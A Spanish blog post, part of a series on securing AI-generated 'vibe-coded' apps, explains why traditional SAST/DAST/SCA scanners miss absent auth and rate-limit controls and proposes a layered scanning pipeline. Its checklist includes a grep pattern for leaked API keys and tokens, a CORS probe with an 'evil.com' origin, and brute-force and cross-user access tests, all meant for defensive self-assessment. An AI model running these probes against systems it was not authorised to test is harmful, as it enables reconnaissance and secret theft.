Escaneando Aplicaciones Vibe-Coded: Por Qué el SAST/DAST Tradicional Se Queda Corto (Parte 6)

Serie Seguridad del Vibe Coding

  1. ¿Qué es la Seguridad del Vibe Coding? Una Guía de Campo para 2026
  2. El OWASP Top 10 para Aplicaciones Vibe-Coded
  3. Anatomía de una Brecha de Vibe Coding: Lecciones de los Peores Incidentes de 2026
  4. La Trampa de las Dependencias: Riesgos en la Cadena de Suministro del Código Generado por IA
  5. Autenticación y Secretos: Lo Que la IA Siempre Hace Mal
  6. Escaneando Aplicaciones Vibe-Coded: Por Qué el SAST/DAST Tradicional Se Queda Corto (estás aquí)
  7. Prompt Engineering para Código Seguro
  8. El Checklist de Seguridad del Fundador (próximamente)
  9. Asegurando el Pipeline de Codificación IA (próximamente)
  10. El Futuro de la Seguridad del Vibe Coding (próximamente)

Tiempo de lectura: 20 minutos

TL;DR

Los escáneres de seguridad tradicionales buscan coincidencias de patrones en código que existe. Las vulnerabilidades más peligrosas de las aplicaciones vibe-coded están en código que no existe — controles de autenticación ausentes, falta de limitación de peticiones, lógica de autorización inexistente. Un benchmark SAST de enero de 2026 encontró que las herramientas marcaban como vulnerable entre el 68% y el 75% del código seguro mientras los fallos arquitectónicos pasaban desapercibidos, y Georgia Tech ha rastreado 74 CVEs atribuidos a IA con descubrimientos mensuales que crecieron 6x en dos meses. Las nuevas herramientas nativas de IA están cerrando la brecha, pero a mediados de 2026, la autorización rota y los controles de seguridad ausentes siguen requiriendo revisión humana. Este artículo cubre qué funciona, qué no, y cómo construir un pipeline de escaneo para código generado por IA.


La Paradoja del Escaneo

Tenemos más herramientas de escaneo de seguridad que en cualquier otro momento de la historia del desarrollo de software. SAST, DAST, SCA, IAST, RASP — solo la cantidad de acrónimos sugiere que el problema debería estar resuelto. Y para código escrito por humanos, estas herramientas han ido mejorando de forma constante durante dos décadas. El problema es que las aplicaciones vibe-coded no fallan como las escritas por humanos.

Cuando un desarrollador humano introduce una inyección SQL, normalmente es porque olvidó parametrizar una consulta. Una herramienta SAST detecta la concatenación de cadenas dentro de una llamada SQL por coincidencia de patrones y la marca. Sencillo. Cuando una herramienta de codificación IA introduce un fallo de seguridad, el código suele ser sintácticamente limpio, sigue patrones documentados de la API y pasa todas las pruebas funcionales. La vulnerabilidad no está en cómo está escrito el código — está en lo que el código no hace. Falta validación en el servidor. Falta limitación de peticiones. Faltan controles de autorización. Faltan políticas RLS. No puedes detectar por coincidencia de patrones el código que no existe.

El Vibe Security Radar de Georgia Tech, lanzado en mayo de 2025, rastrea CVEs atribuibles a herramientas de codificación IA trazando los commits de corrección hacia atrás en el historial de Git. Sus cifras lo dicen todo: 6 CVEs atribuidos a IA en enero de 2026, 15 en febrero, 35 en marzo. Un aumento de casi 6x en dos meses. El total confirmado se sitúa en 74, y los investigadores estiman que la cifra real es entre 5 y 10 veces mayor porque la mayoría del código generado por IA no deja marcadores de atribución claros.

Mientras tanto, el informe de estrategia de emergencia de la Cloud Security Alliance — elaborado en un solo fin de semana por más de 60 colaboradores incluyendo a Jen Easterly y Bruce Schneier — advertía que la ventana para corregir vulnerabilidades se está desplomando: el tiempo medio desde la divulgación hasta la explotación confirmada ha caído a menos de un día en 2026, frente a los 2,3 años de 2019. Investigaciones separadas de la CSA han encontrado que el 62% de las muestras de código generado por IA contenían vulnerabilidades.

Los escáneres están funcionando, las vulnerabilidades siguen llegando a producción, y la brecha se amplía.


Qué Detecta Realmente el SAST (Y Qué No)

Static Application Security Testing funciona analizando código fuente sin ejecutarlo. Herramientas como CodeQL, Semgrep, SonarQube y Checkmarx parsean el código en un árbol de sintaxis abstracta y luego buscan coincidencias de patrones contra firmas de vulnerabilidades conocidas — concatenación de cadenas en consultas SQL, eval() sobre entrada no confiable, funciones criptográficas obsoletas. Estos son patrones bien definidos, y SAST los maneja de forma fiable.

El problema son los falsos positivos y los puntos ciegos estructurales.

El Problema de los Falsos Positivos

Un estudio de enero de 2026 evaluó CodeQL, Semgrep, SonarQube y Joern contra OWASP Benchmark v1.2 — 2.740 casos de prueba en Java con estado de vulnerabilidad conocido. CodeQL obtuvo el mayor F1-score con 74,4%, pero marcó el 68,2% de los casos no vulnerables como positivos — 904 falsos positivos en todo el benchmark. SonarQube produjo 1.254 falsos positivos, cubriendo el 45,8% de todos los casos. Semgrep marcó el 74,8% de los casos no vulnerables. Joern tuvo menos falsos positivos con 96, pero alcanzó solo un 8,2% de recall — apenas detecta nada.

Para un vibe coder ejecutando Semgrep contra su código generado por IA por primera vez, esto significa que aproximadamente tres cuartas partes de las alertas que ve son ruido. Después del tercer falso positivo sobre una «inyección potencial» en código que en realidad es seguro, la mayoría acaba ignorando la salida. La señal se ahoga en el ruido, y los problemas reales — los que importan — pasan desapercibidos.

Un caso con el que me encuentro constantemente. En los últimos años he hecho muchas revisiones de código de aplicaciones basadas en AWS en VULNEX, y Semgrep marca los IDs de cuenta de AWS como fugas de información sensible en casi todos los proyectos. El problema es que la propia AWS no considera los IDs de cuenta como información sensible — su documentación indica explícitamente que se pueden compartir cuando sea necesario. Es un falso positivo que aparece en todos y cada uno de los proyectos AWS, entrenando a los equipos a ignorar la salida de Semgrep para ese código por completo. Siempre trabajo con el cliente para entender sus requisitos de privacidad específicos antes de descartar o escalar cualquier hallazgo — algunas organizaciones sí tratan los IDs de cuenta como información interna independientemente de lo que diga AWS — pero este es exactamente el tipo de ruido que erosiona la confianza en las herramientas automatizadas.

El Punto Ciego Estructural

Los falsos positivos son molestos pero manejables. El punto ciego estructural es el verdadero problema. SAST funciona buscando coincidencias de patrones en código que existe. Las vulnerabilidades del código vibe-coded suelen estar en código que no existe.

Pensemos en la aplicación QuickNote de la Parte 5. Los problemas más peligrosos no eran errores en el código — eran funcionalidades ausentes. Sin limitación de peticiones en el endpoint de login. Sin políticas RLS en la base de datos. Sin verificación de autorización en el servidor. Sin expiración de tokens. SAST no puede señalar la ausencia de un control de seguridad, porque no hay código que analizar. Es como pedirle a un corrector ortográfico que te diga que a tu ensayo le falta la conclusión.

Esto es lo que ocurre cuando ejecutas Semgrep contra una aplicación Express.js vibe-coded típica:

semgrep --config=auto ./src

Semgrep probablemente marcará cosas como el uso de innerHTML (problema real — XSS), llamadas a eval() si las hay, y quizás la función de hash MD5. Lo que no marcará: que el endpoint /api/users/:id/notes carece de verificación de propiedad, que jwt.sign() se llamó sin parámetro expiresIn, que toda la aplicación no tiene middleware de limitación de peticiones, que Supabase RLS está deshabilitado en todas las tablas.

Estas son las clases de vulnerabilidad que más importan en aplicaciones vibe-coded, y SAST es estructuralmente incapaz de detectarlas.

Para Qué Sirve el SAST

Esto no es un argumento para dejar de usar SAST. La coincidencia de patrones detecta problemas reales: credenciales hardcodeadas (cuando coinciden con patrones conocidos), llamadas a funciones peligrosas, uso de bibliotecas con vulnerabilidades conocidas, vectores de inyección obvios. Para el subconjunto de vulnerabilidades que parecen errores tradicionales, SAST funciona. El problema es que en aplicaciones vibe-coded, ese subconjunto cubre quizás el 30% de la superficie de riesgo real. El otro 70% es arquitectónico.


Lo Que el DAST No Detecta en la Era de las SPA

Dynamic Application Security Testing adopta el enfoque opuesto — en vez de leer código fuente, ejecuta la aplicación y la ataca desde fuera. OWASP ZAP y Burp Suite envían payloads maliciosos a los endpoints, monitorizan las respuestas y marcan comportamientos que indican vulnerabilidades. Si puedes provocar una inyección SQL mediante una petición HTTP, DAST lo encuentra. Si un payload XSS reflejado aparece en la respuesta, DAST lo detecta.

Para aplicaciones web tradicionales renderizadas en servidor, DAST ha sido razonablemente eficaz. Pero las aplicaciones vibe-coded son abrumadoramente aplicaciones de página única (SPA) construidas con React, Next.js o Vue, y la arquitectura de DAST no funciona bien con ellas.

El Problema del Rastreo

DAST descubre la funcionalidad de las aplicaciones rastreando — siguiendo enlaces, enviando formularios, parseando HTML. Las SPA no funcionan así. Las rutas se gestionan en el cliente mediante JavaScript. Los formularios son componentes React que se comunican a través de llamadas fetch(). Los endpoints de API no se descubren parseando HTML, porque el HTML es una cáscara casi vacía que carga un bundle de JavaScript. Un rastreador DAST que llega a una aplicación React vibe-coded típica ve <div id="root"></div> y quizás algunas etiquetas <script>. Se pierde todo lo demás.

Las herramientas DAST modernas han mejorado en la renderización de JavaScript — ZAP tiene un AJAX Spider, Burp tiene un navegador integrado. Pero siguen teniendo problemas con flujos de autenticación (especialmente OAuth), workflows de múltiples pasos y estado de la aplicación. Un formulario de login que usa useState para el seguimiento de inputs y useEffect para almacenar el token no se comporta como un formulario HTML tradicional, y los rastreadores DAST a menudo no pueden completar el flujo de auth para alcanzar la superficie protegida que hay detrás.

La Brecha de Lógica de Negocio

Incluso cuando DAST llega a los endpoints, se topa con la misma pared que SAST: la vulnerabilidad está en lo que el código no hace. DAST envía un payload de inyección SQL a /api/notes y comprueba si la respuesta parece salida de base de datos. Es una prueba legítima. Pero no comprueba si /api/notes/42 devuelve datos de un usuario diferente. No comprueba si el endpoint /api/admin/users es accesible con un token de usuario normal. No comprueba si el endpoint de login permite 10.000 intentos por minuto.

Estas son vulnerabilidades de lógica de negocio — requieren entender el comportamiento previsto de la aplicación, no solo su superficie de entrada/salida. DAST trata la aplicación como una caja negra. Para aplicaciones vibe-coded donde las vulnerabilidades más peligrosas están en el modelo de autorización, ese enfoque de caja negra se pierde lo que importa.

Dónde el DAST Sigue Ayudando

DAST detecta problemas de configuración que SAST no puede: cabeceras de seguridad ausentes, políticas CORS permisivas, información del servidor expuesta, configuraciones erróneas de SSL/TLS. Estos son problemas a nivel de despliegue, no a nivel de código, y las aplicaciones vibe-coded tienden a salir con configuraciones por defecto terribles porque la IA optimiza para que «funcione en local». Ejecutar ZAP o Nuclei contra tu aplicación desplegada detecta las carencias de la capa de infraestructura.

Nuclei merece una mención específica. Su biblioteca de templates mantenida por la comunidad supera ya los 11.000 templates, y ProjectDiscovery ha introducido generación de templates con IA — describe una comprobación en lenguaje natural, obtén un template YAML. Un pull request reciente añadió templates DAST de Seguridad IA específicamente dirigidos a patrones de sistemas IA. No resuelve el problema arquitectónico fundamental, pero es lo más cerca que ha llegado DAST de ser consciente del vibe coding.


La Brecha del SCA: Cuando las Dependencias No Existen

Las herramientas de Software Composition Analysis (SCA) — Snyk, npm audit, Dependabot, Socket.dev — comprueban las dependencias de tu proyecto contra bases de datos de vulnerabilidades. Si usas lodash@4.17.20 y hay un CVE para esa versión, SCA lo marca. Esta ha sido una de las prácticas automatizadas de seguridad más eficaces de la última década.

El código generado por IA rompe el SCA porque las dependencias son inventadas.

Slopsquatting

El término, acuñado por el investigador de seguridad Seth Larson, describe lo que ocurre cuando las herramientas de codificación IA recomiendan paquetes que no existen en ningún registro. Un estudio de marzo de 2025 que analizó 576.000 muestras de código generado por IA encontró que aproximadamente el 20% recomendaba paquetes que no son reales. Peor aún, el 43% de esos nombres de paquetes alucinados son consistentes entre diferentes ejecuciones de la IA — lo que significa que un atacante puede predecir qué nombres falsos sugerirá la IA, registrarlos y rellenarlos con código malicioso.

Eso es exactamente lo que pasó. En enero de 2026, un paquete npm alucinado llamado react-codeshift se propagó por 237 repositorios a través de código generado por IA. Nadie plantó deliberadamente el nombre del paquete en los datos de entrenamiento de la IA. La IA lo alucinó, múltiples desarrolladores lo instalaron cuando su IA lo sugirió, y finalmente alguien lo registró con código malicioso. El ataque a la cadena de suministro fue automatizado por la propia IA.

Las herramientas SCA no pueden marcar un paquete que no tiene un CVE porque es nuevo y no aparece en ninguna base de datos de vulnerabilidades. npm audit habría reportado cero problemas para react-codeshift — el paquete existía, no tenía CVEs conocidos, y su package.json parecía normal. El comportamiento malicioso estaba en el código, no en los metadatos.

Qué Detecta Cada Herramienta SCA

El panorama SCA se ha dividido en dos campos. Las herramientas tradicionales basadas en CVE (npm audit, Dependabot, escaneo básico de Snyk) comprueban paquetes contra bases de datos de vulnerabilidades conocidas. Si la vulnerabilidad tiene un CVE, la detectan. Si no, no. Para paquetes establecidos con investigación de seguridad activa, esto funciona. Para paquetes alucinados, paquetes recién registrados y paquetes con comportamiento malicioso ofuscado, están ciegos.

Socket.dev representa el enfoque más nuevo — analiza el comportamiento de los paquetes en vez de solo comprobar bases de datos de CVE. Detecta scripts de instalación que exfiltran variables de entorno, llamadas de red a dominios inesperados, código ofuscado que se decodifica en tiempo de ejecución y cambios repentinos en el comportamiento de los mantenedores. Este análisis de comportamiento detecta ataques a la cadena de suministro que las bases de datos de CVE aún no han catalogado.

Snyk DeepCode AI combina análisis simbólico con IA para escanear fragmentos de código a medida que se generan, detectando patrones vulnerables dentro del IDE antes de que lleguen al repositorio. Esto está más cerca de donde el SCA necesita ir para aplicaciones vibe-coded — señalar problemas en el momento de la generación en vez de después de que el paquete se instale y el código se haya hecho commit.

Para los problemas de dependencias que cubrí en la Parte 4, ninguna herramienta SCA por sí sola cubre toda la superficie de riesgo. La respuesta práctica es la superposición: npm audit para CVEs conocidos, Socket.dev para anomalías de comportamiento, y verificación manual de que los paquetes que tu IA sugirió realmente existen y son lo que dicen ser.


Lo Que Realmente Funciona: La Nueva Ola

La brecha entre lo que detectan las herramientas tradicionales y lo que necesitan las aplicaciones vibe-coded ha generado una nueva generación de herramientas de seguridad. Algunas son nativas de IA — usan LLMs para razonar sobre el código en vez de buscar coincidencias de patrones. Otras adoptan enfoques híbridos, combinando análisis tradicional con razonamiento potenciado por IA. Algunas están diseñadas específicamente para aplicaciones vibe-coded.

SAST Aumentado con LLM

La mejora a corto plazo más prometedora es usar LLMs para post-procesar la salida de SAST tradicional. El mismo estudio de enero de 2026 que expuso las tasas de falsos positivos del SAST también probó superponer agentes LLM sobre la salida. La mejor configuración redujo la tasa inicial de falsos positivos del 98,3% al 6,3%. El LLM lee el código señalado en contexto, entiende qué hace, y determina si la alerta es legítima o ruido.

Esto no resuelve el problema del punto ciego — el LLM sigue trabajando a partir de los hallazgos iniciales del SAST, así que el código ausente sigue siendo invisible. Pero hace que la salida del SAST sea realmente utilizable. En vez de 750 alertas donde 700 son falsos positivos, obtienes 50 alertas donde 47 son reales. Esa es la diferencia entre un informe que nadie lee y un informe que impulsa correcciones.

Análisis Neuro-Simbólico (IRIS)

IRIS, publicado en ICLR 2025, adopta un enfoque diferente. En vez de filtrar la salida del SAST, combina el razonamiento de LLM con el análisis estático de CodeQL en un framework neuro-simbólico. El LLM identifica patrones potenciales de vulnerabilidad a través de la comprensión del código, luego CodeQL los valida con análisis formal. Usando GPT-4, IRIS detectó 55 vulnerabilidades en 30 proyectos Java — un 103,7% más que CodeQL solo. Encontró 4 vulnerabilidades previamente desconocidas. Incluso un modelo más pequeño (DeepSeekCoder 7B) detectó 52 vulnerabilidades, lo que demuestra que este enfoque no requiere modelos de última generación.

La tasa de falsos descubrimientos sigue siendo alta con un 84,82%, pero es un 5,21% menor que CodeQL por sí solo. Más importante aún, IRIS detecta categorías de vulnerabilidades que la simple coincidencia de patrones no capta — puede razonar sobre si una verificación de autorización es semánticamente correcta, no solo sobre si existe alguna.

Escáneres Nativos de IA

Dos escáneres de seguridad nativos de IA importantes se lanzaron a principios de 2026. Claude Code Security de Anthropic, publicado en febrero de 2026, utiliza razonamiento LLM para analizar código en busca de vulnerabilidades en vez de buscar coincidencias de patrones. Está disponible para clientes Enterprise y Team, y es gratuito para mantenedores de código abierto. En su periodo inicial, encontró más de 500 vulnerabilidades de alta gravedad en proyectos de código abierto. Codex Security de OpenAI, lanzado en marzo de 2026, escaneó más de 1,2 millones de commits durante su beta, revelando 792 hallazgos críticos y 10.561 de alta gravedad.

Ninguna de las dos herramientas ha sido auditada independientemente, así que hay que tomar las cifras con cautela. Pero el enfoque es fundamentalmente diferente del SAST tradicional — en vez de buscar coincidencias de patrones, estas herramientas leen el código como lo haría un revisor de seguridad, razonando sobre el flujo de datos, los límites de confianza y si el modelo de seguridad tiene sentido a nivel arquitectónico.

Puertas de Seguridad Pre-Publicación

VibeGuard, publicado en abril de 2026, apunta a los puntos ciegos específicos del código generado por IA con un framework de puerta de seguridad pre-publicación. Comprueba cinco categorías: higiene de artefactos (source maps, archivos de depuración que llegan a producción), deriva de configuración de empaquetado, secretos hardcodeados, riesgos de cadena de suministro y exposición de source maps. La motivación surgió de un incidente real — en marzo de 2026, el propio CLI de Claude Code de Anthropic envió un source map de 59,8 MB que exponía aproximadamente 512.000 líneas de código TypeScript. En experimentos controlados con 8 proyectos sintéticos, VibeGuard logró un 100% de recall y un 89,47% de precisión (F1 = 94,44%).

Es una herramienta más específica que un escáner SAST completo, pero apunta exactamente a lo que las aplicaciones vibe-coded hacen mal. Las herramientas de codificación IA son muy buenas generando código que funciona. Son terribles generando artefactos de despliegue limpios y reforzados. VibeGuard se sitúa en esa brecha.

Plataformas de Seguridad Agénticas

DryRun Security se define como seguridad de código «nativa de IA, agéntica». En vez de buscar coincidencias de patrones en archivos individuales, inspecciona el flujo de datos entre archivos y servicios — entendiendo cómo se mueven los datos por la aplicación a nivel arquitectónico. Su Informe de Precisión SAST de 2025 mostró un 88% de detección de vulnerabilidades sembradas desde el primer uso, superando a cuatro analizadores estáticos tradicionales líderes, con particular fortaleza en lógica compleja y fallos de autorización. En febrero de 2026, lanzaron un DeepScan Agent que realiza revisiones de seguridad de repositorios completos.

Escape recaudó 18 millones de dólares en marzo de 2026 específicamente para reemplazar los escáneres heredados con pruebas de seguridad dirigidas por agentes IA. Vale la pena estudiar la metodología de su equipo de investigación: escanearon 5.600 aplicaciones vibe-coded accesibles públicamente y encontraron más de 2.000 vulnerabilidades de alto impacto. El desglose es revelador — más de 400 secretos expuestos y 175 casos de exposición de datos personales, incluyendo historiales médicos y números de cuentas bancarias. APIs sin autenticación, falta de limitación de peticiones y BOLA/IDOR dominaron los hallazgos. Estas son exactamente las clases de vulnerabilidad que los escáneres tradicionales no detectan.


Lo Que los Escáneres No Detectan: Los Puntos Ciegos del Vibe Coding

A lo largo de la investigación, seis patrones de vulnerabilidad en código generado por IA evaden consistentemente las herramientas de escaneo tradicionales. Conocerlos significa saber qué buscar manualmente, incluso cuando el escáner te da un informe limpio.

1. Controles de Seguridad Solo en el Frontend

La IA genera un auth guard de React que comprueba si hay un JWT en localStorage antes de renderizar las rutas protegidas. El guard funciona — los usuarios no autenticados ven la página de login. Pero la API detrás de esas rutas acepta cualquier petición, con o sin token. SAST escaneando el backend ve endpoints de API que reciben peticiones y devuelven datos. No hace referencia cruzada con el frontend para comprobar si existe cumplimiento del lado del servidor. DAST puede que ni siquiera llegue a los endpoints si no puede completar el flujo de auth del frontend.

2. APIs Sin Autenticación

El escaneo de Escape de 5.600 aplicaciones vibe-coded encontró aplicaciones con 7–12 endpoints de API públicos realizando operaciones destructivas (DELETE, PUT) sin ninguna autenticación. La especificación OpenAPI — cuando existía — no tenía esquemas de seguridad definidos. SAST no marca un endpoint por no tener middleware de auth, porque «sin middleware» no es un patrón que pueda detectar. El código es perfectamente válido; simplemente le falta un requisito de seguridad.

3. Falta de Limitación de Peticiones

Como mostré en la Parte 5, un endpoint de login sin limitación de peticiones permite a un atacante probar las 1.000 contraseñas más comunes en diez segundos. Ningún escáner marca esto porque la limitación de peticiones es una adición de middleware, no un patrón de código. El endpoint de login en sí es correcto — valida credenciales y devuelve un token. La ausencia de express-rate-limit o su equivalente es una decisión de despliegue, no un error de código.

4. BOLA/IDOR Sin IDs Secuenciales

La brecha BOLA de Lovable de la Parte 5 es el ejemplo canónico. La API comprobaba la autenticación (token Firebase válido) pero no la autorización (¿el usuario de este token es propietario de este proyecto?). SAST ve la llamada a firebase.auth() y considera el endpoint protegido. La verificación de propiedad que debería seguir es lógica de negocio que el escáner no puede inferir. DAST podría teóricamente detectar IDOR probando con dos sesiones de usuario diferentes, pero la mayoría de las configuraciones DAST no preparan escenarios de prueba multiusuario.

5. Configuraciones Inseguras por Defecto

El código generado por IA usa Supabase con RLS deshabilitado, Firebase con reglas de seguridad configuradas como allow read, write: if true, Express sin configuración CORS (permitiendo todo por defecto), y bibliotecas JWT con el parámetro algorithms sin establecer (permitiendo el ataque none). Ninguna de estas son errores. Son todas configuraciones válidas que resultan ser inseguras. SAST necesitaría reglas específicas de configuración para marcarlas — y la mayoría de herramientas no incluyen reglas para «tabla Supabase sin política RLS.»

6. Fallos de Higiene de Artefactos

Source maps enviados a producción, archivos .env incorporados en imágenes Docker, node_modules incluidos en artefactos desplegables, logging de depuración activo en producción. Estas no son vulnerabilidades de código — son fallos de empaquetado y despliegue que exponen código fuente, secretos y arquitectura interna. El SAST y DAST tradicionales no escanean artefactos de compilación en absoluto.


Construyendo un Pipeline de Escaneo que Funcione

Ninguna herramienta por sí sola cubre toda la superficie de riesgo de una aplicación vibe-coded. La respuesta práctica es superponer herramientas donde cada una cubra una brecha diferente, ejecutarlas en el orden correcto, y saber qué sigue requiriendo revisión humana.

Capa 1: Pre-Commit (Detectar Secretos Antes de que Se Envíen)

Antes de que el código llegue al repositorio, ejecuta detección de secretos. Esta es la comprobación automatizada con mayor retorno de inversión porque los secretos en control de versiones son permanentes — incluso si borras el archivo, el secreto sigue en el historial de Git.

# Instalar y ejecutar Gitleaks como hook de pre-commit
gitleaks detect --source . --verbose

# O TruffleHog para análisis más profundo incluyendo historial de Git
trufflehog filesystem . --only-verified

Configúralo como hook de pre-commit de Git. Cada commit se escanea. Si se detecta un secreto, el commit se bloquea. Esta es la única capa donde la automatización es genuinamente fiable — los patrones están bien definidos y los falsos positivos son manejables.

Capa 2: Pipeline CI (SAST + SCA en Cada Push)

Ejecuta SAST y SCA en tu pipeline CI. El objetivo aquí no es la perfección — es detectar el 30% de problemas que la coincidencia de patrones maneja bien.

# Semgrep con auto-config (extrae conjuntos de reglas relevantes para tu stack)
semgrep --config=auto --error --json ./src > semgrep-results.json

# npm audit para CVEs conocidos de dependencias
npm audit --audit-level=high

# Socket.dev CLI para análisis de comportamiento de dependencias
socket scan create --repo . --branch main

El paso crítico es filtrar la salida del SAST. Si tu equipo se ahoga en falsos positivos, empieza solo con las reglas de alta confianza. El conjunto de reglas p/security-audit de Semgrep es más específico que --config=auto. Para SCA, diferencia entre dependencias de desarrollo y producción — un CVE en una dependencia de desarrollo tiene menor prioridad que uno en tu middleware de autenticación.

Capa 3: Post-Despliegue (DAST Contra la Aplicación en Ejecución)

Después del despliegue, ejecuta DAST contra tu aplicación real. Esto detecta problemas de configuración que no existen en el código fuente.

# Nuclei con templates de la comunidad
nuclei -u https://yourapp.com -t nuclei-templates/ -severity critical,high

# Escaneo básico con ZAP
docker run -t zaproxy/zap-stable zap-baseline.py -t https://yourapp.com -r report.html

Para SPAs, usa el AJAX Spider de ZAP o el rastreo basado en navegador de Burp en lugar del rastreador HTTP por defecto. Proporciona al escáner tu especificación OpenAPI si la tienes — descubrirá endpoints que el rastreador no encuentra.

Capa 4: Revisión Aumentada con IA (La Nueva Capa)

Esta es la capa emergente que no existía hace un año. Si tienes acceso a Claude Code Security, Codex Security o DryRun, ejecútalos como complemento al SAST tradicional. Cubren la brecha de razonamiento arquitectónico — detectando controles ausentes, evaluando si la lógica de autorización es semánticamente correcta y entendiendo el flujo de datos entre los límites de los servicios.

Si no tienes acceso a estas herramientas comerciales, puedes aproximar el enfoque ejecutando un LLM contra tu salida de SAST para filtrar falsos positivos (la técnica del estudio de enero de 2026 redujo los falsos positivos del 98,3% al 6,3%), o pidiendo a un LLM que revise archivos clave de seguridad con preguntas dirigidas: «¿Este endpoint verifica que el usuario autenticado es propietario del recurso solicitado?» «¿Hay un middleware de limitación de peticiones aplicado a esta ruta?»

Capa 5: Revisión Manual (La Capa Insustituible)

Llevo más de dos décadas en seguridad de aplicaciones. Cada encargo que hago en VULNEX empieza con escaneo automatizado y termina con revisión manual, porque las herramientas automatizadas siempre se dejan algo. Para aplicaciones vibe-coded, la revisión manual es aún más importante porque las clases de vulnerabilidad son arquitectónicas.

El checklist de revisión manual es más corto de lo que la gente piensa. Para cada endpoint de API: ¿comprueba autenticación? ¿Comprueba autorización — no solo «está logueado este usuario» sino «tiene este usuario permiso para acceder a este recurso específico»? ¿El cliente envía algún dato que controla el comportamiento del servidor (IDs de usuario, flags de rol, overrides de precio) sin validación del lado del servidor? ¿Hay funciones de administración accesibles para usuarios normales?

Una revisión manual enfocada de la capa de auth y autorización lleva horas, no días, y detecta los problemas que todas las herramientas automatizadas se pierden.

Lo Que Cuesta

Para un fundador en solitario o un equipo pequeño, esto es aproximadamente lo que implica. Las capas 1–3 usan herramientas gratuitas y de código abierto — Gitleaks, Semgrep, npm audit, la capa gratuita de Socket.dev, Nuclei. Configurar el pipeline CI completo lleva una tarde si manejas GitHub Actions o similar, un fin de semana si partes de cero. La capa 4 varía: Claude Code Security es gratuito para proyectos de código abierto, DryRun y Escape tienen precios comerciales que normalmente empiezan en unos pocos cientos al mes. La capa 5 es donde se encarece si no tienes experiencia en seguridad en el equipo. Una revisión enfocada de auth y autorización por parte de una consultora de seguridad suele costar entre 3.000 € y 10.000 € dependiendo del tamaño y complejidad de la aplicación. Es dinero real para una startup en fase inicial — pero saltársela es precisamente lo que provocó las brechas de la Parte 3.


El Checklist de Escaneo

Ejecuta esto contra tu aplicación vibe-coded. Cada elemento aborda una brecha específica del escaneo tradicional.

Secretos (Pre-Commit):

  1. Ejecuta gitleaks detect --source . --verbose y trufflehog filesystem . --only-verified — cero hallazgos antes de cualquier commit
  2. Busca claves filtradas en los bundles del frontend: grep -r "sk-\|API_KEY\|SECRET\|Bearer\|supabase\|firebase" dist/ build/
  3. Verifica que los archivos .env nunca se han subido al repositorio: git log --all --diff-filter=A -- '*.env' '.env*'

SAST (Pipeline CI):

  1. Ejecuta semgrep --config=p/security-audit --error ./src — usa el conjunto de reglas enfocado, no --config=auto, para mantener el ruido controlado
  2. Revisa manualmente cada hallazgo high o critical — busca innerHTML, eval(), dangerouslySetInnerHTML, SQL sin sanitizar

SCA (Pipeline CI):

  1. Ejecuta npm audit --audit-level=high — soluciona todos los CVEs altos y críticos
  2. Verifica que las dependencias son reales: comprueba que cada paquete en package.json tiene una página legítima en npmjs.com con descargas y un mantenedor real
  3. Ejecuta Socket.dev o Snyk para análisis de comportamiento — detecta ataques a la cadena de suministro que las bases de datos de CVE no captan

DAST (Post-Despliegue):

  1. Ejecuta nuclei -u https://yourapp.com -severity critical,high contra tu aplicación desplegada
  2. Comprueba cabeceras de seguridad y CORS: curl -s -D- https://yourapp.com | grep -i "x-frame\|x-content-type\|strict-transport\|content-security-policy" y prueba con Origin: https://evil.com

Manual (Las Brechas):

  1. Prueba cada endpoint de API sin el frontend — ¿requiere autenticación?
  2. Prueba acceso entre usuarios — ¿puede el Usuario A acceder a los recursos del Usuario B cambiando IDs?
  3. Prueba endpoints de administración con el token de un usuario normal, envía 100 peticiones rápidas al login para verificar la limitación de peticiones (espera un 429), y confirma que las reglas de Supabase RLS / Firebase están habilitadas y limitadas al usuario autenticado

Este pipeline no detectará todo. Pero cubre las capas donde las herramientas automatizadas son fiables, señala las áreas donde están ciegas, y dirige el esfuerzo manual donde más importa. Si no estás ejecutando ningún escaneo hoy — que, por lo que veo en las evaluaciones, es el caso de la mayoría de aplicaciones vibe-coded — empezar con los puntos 1, 2, 11 y 12 te da el mayor valor de seguridad con el menor esfuerzo.


Lo Que Deberías Sacar de Esto

Los escáneres de seguridad tradicionales no están rotos. Están resolviendo un problema diferente. Fueron construidos para un mundo donde los desarrolladores entienden su código y cometen errores localizados — una consulta sin parametrizar, una función criptográfica mal usada, una dependencia desactualizada. El código generado por IA introduce una nueva clase de vulnerabilidad: código arquitectónicamente correcto con controles de seguridad ausentes. El login funciona, el JWT valida, la base de datos responde — y el hecho de que cualquier usuario autenticado pueda leer los datos de cualquier otro usuario no es algo que un buscador de patrones pueda detectar.

El panorama del escaneo está evolucionando rápido. Las herramientas nativas de IA que razonan sobre el código en vez de buscar coincidencias de patrones están empezando a cerrar la brecha. El enfoque IRIS (análisis neuro-simbólico), el filtrado de falsos positivos basado en LLM y las puertas pre-publicación como VibeGuard son pasos en la dirección correcta. Pero a mediados de 2026, ninguna herramienta automatizada detecta de forma fiable la lógica de autorización rota, la falta de limitación de peticiones o los controles de seguridad solo en el cliente. Eso sigue requiriendo revisión humana.

Mi flujo de trabajo en VULNEX: Gitleaks y TruffleHog para secretos, Semgrep para problemas basados en patrones, npm audit más Socket.dev para dependencias, Nuclei para la superficie desplegada, y después pruebas manuales de cada frontera de autenticación y autorización. Las capas automatizadas llevan minutos, la revisión manual lleva horas — y por mi experiencia, es en la revisión manual donde aparecen las vulnerabilidades críticas.

Si eres un fundador en solitario o un ingeniero sin formación en seguridad — que describe a la mayoría de la gente que construye con herramientas de codificación IA — la capa 5 es la difícil. No puedes revisar lo que no sabes buscar. Mi consejo práctico: ejecuta las capas 1–3 como mínimo, son gratuitas y detectan problemas reales. Si tu aplicación maneja datos de usuario, pagos o cualquier cosa sensible, presupuesta una revisión de seguridad profesional antes de lanzar. No tiene que ser un pentest completo — una revisión enfocada de tus fronteras de autenticación y autorización, acotada a 2–3 días, detecta los problemas arquitectónicos que la automatización no alcanza. La Parte 8 de esta serie profundizará en esto con un checklist completo para fundadores.

Como siempre: no te fíes de nada, verifica todo.


Lecturas Adicionales


Referencias

Publicado en AI, IA, Pentest, Privacidad, SDL, Seguridad | Etiquetado , , , , , , | Deja un comentario

Cuando los Agentes Arreglan a los Agentes: Cómo Hermes Reparó OpenClaw Tras una Mala Actualización

Tiempo de lectura: 7 minutos

TL;DR

